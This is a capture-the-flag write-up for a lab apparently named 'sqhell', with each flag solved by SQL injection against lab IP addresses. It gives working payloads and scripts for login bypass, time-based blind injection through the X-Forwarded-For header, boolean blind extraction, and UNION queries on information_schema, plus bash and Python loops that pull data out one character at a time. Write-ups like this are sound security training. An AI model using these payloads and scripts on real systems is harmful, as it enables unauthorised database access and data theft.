CTF sqlhell

  1. Flag 1
  2. Flag 2
  3. Flag 3
  4. Flag 4
  5. Flag 5
import requests

Base_URL="http://10.10.237.91/post?id=2 AND 1=1"


with open('payload.txt') as topo_file:
    for line in topo_file:
        r = requests.get(Base_URL+line)
        t = r.elapsed.total_seconds()
        print(str(len(r.content)+t)+" "+Base_URL+line)

Flag 1

admin' or '1'='1

Flag 2

http://10.10.237.91/terms-and-conditions
https://stackoverflow.com/questions/3003145/how-to-get-the-client-ip-address-in-php

This means that if you are going to save the `$_SERVER['HTTP_X_FORWARDED_FOR']`, make sure you _also_ save the `$_SERVER['REMOTE_ADDR']` value. E.g. by saving both values in different fields in your database.

https://outpost24.com/blog/X-forwarded-for-SQL-injection

curl --header "X-Forwarded-For: 192.168.0.2" 'http://10.10.237.91/terms-and-conditions' 
  • Code it to try every payloads

    import requests
    
    Base_URL="http://10.10.149.83/terms-and-conditions"
    
    with open('Time_based.txt') as topo_file:
        for line in topo_file:
            headers={'X-Forwarded-For':f"1 '"+str(line.rstrip())}
            r = requests.get(Base_URL,headers=headers)
            t = r.elapsed.total_seconds()
            print(str(len(r.content))+" : "+str(t)+" "+Base_URL+str(headers))
    

  • Got 2 valid payloads.

    http://10.10.149.83/terms-and-conditions{'X-Forwarded-For': "1 'AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe"}
    
    http://10.10.149.83/terms-and-conditions{'X-Forwarded-For': "1 'AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#"}
  • In curl:

    curl -o /dev/null -s -w 'Total: %{time_total}s\n' -H "X-Forwarded-For: 1 'AND (SELECT * FROM (SELECT SLEEP(5) FROM flag where (ASCII(SUBSTR(flag,1,1))) = '84')nQIP)#" http://10.10.149.83/terms-and-conditions

AND (SELECT sleep(5) FROM flag where (ASCII(SUBSTR(flag,1,1))) = '84'); --+" http://sqhell.thm

Found the right payload:

curl -o /dev/null -s -w 'Total: %{time_total}s\n' -H "X-Forwarded-For: 1 'AND (SELECT * FROM (SELECT SLEEP(1) FROM flag where (ASCII(SUBSTR(flag,1,1))) >= '1')nQIP)#" http://10.10.149.83/terms-and-conditions
Total: 1.067626s

  • the script:
    #!/bin/bash
    flag=""
    for l in {1..45}
    do
    
    	for i in {1..127}
    	do
    		r=$(curl -o /dev/null -s -w 'Total: %{time_total}s\n' -H "X-Forwarded-For: 1 'AND (SELECT * FROM (SELECT SLEEP(1) FROM flag where (ASCII(SUBSTR(flag,$l,1))) = '$i')nQIP)#" http://10.10.149.83/terms-and-conditions)
    		if [[ $r == *"1."* ]]; then
    			flag+=$(echo -e $(printf '\\x%02x' $i))
    			#flag+=$letter
    			break
    		fi
    	done
    	echo $flag
    done

Flag 3

http://10.10.237.91/register

So it’s a Blind Boolean SQLI

113=q
104=h
101=e
108=l
108=l
95=_
51=3
We have the 8 chars: sqhell_3

  • Get table name
    This is the payload, I had to replace database() by (select table_name from information_schema.tables where table_schema=database() limit 0,1)
    So… I think the first step was useless
    admin' AND (SELECT ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)))>=102;--
    102=f
    108=l
    97=a
    103=g
    The last request for the g:
    admin' AND (SELECT ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 0,1), 4, 1)))=103;--
  • Get column name
    admin' AND (SELECT ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name="user" LIMIT 1,1), 1, 1)))=102;--

    So the first char is f
    the second char is a

102=f
108=l
97=a
103=g

  • Get table content
    It will take so much time…
    admin' AND (SELECT ASCII(SUBSTRING((SELECT flag FROM sqhell_3.flag limit 0,1), 1, 1)))=84;--
    I will script it, need to find a way to use the script directly, to be able to inject in the URL.
http://10.10.237.91/register/user-check?username=admin%27%20AND%20(SELECT%20ASCII(SUBSTRING((SELECT%20flag%20FROM%20sqhell_3.flag%20limit%200,1),%201,%201)))=84;--

After few minutes:

#!/bin/bash
flag=""
for l in {1..45}
do
	for i in {1..127}
	do
		r=$(curl -s "http://10.10.237.91/register/user-check?username=admin%27%20AND%20(SELECT%20ASCII(SUBSTRING((SELECT%20flag%20FROM%20sqhell_3.flag%20limit%200,1),%20$l,%201)))=$i;--")
		if [[ $r == *"false"* ]]; then
			flag+=$(echo -e $(printf '\\x%02x' $i))
			break
		fi
	done
	echo $flag
done

Flag 4

http://10.10.59.204/user?id=1 order by 1,2,3,4

So there is 3 columns.

http://10.10.59.204/user?id=0 union select 1,2,3

http://10.10.59.204/user?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

Flag 5

There is 4 columns
if I put 1,2,3 or 1,2,3,4,5 I have an error.

http://10.10.237.91/post?id=99 AND 1=1 UNION ALL SELECT 1,2,3,4

Get the database name:
But we want to know the right colum to inject the code.

http://10.10.237.91/post?id=99 AND 1=1 UNION ALL SELECT 1,2,database(),4

Get the table:

http://10.10.237.91/post?id=99 AND 1=1 UNION ALL SELECT 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()

Get The table content:

http://10.10.237.91/post?id=99 AND 1=1 UNION select 1,2,flag,4 from flag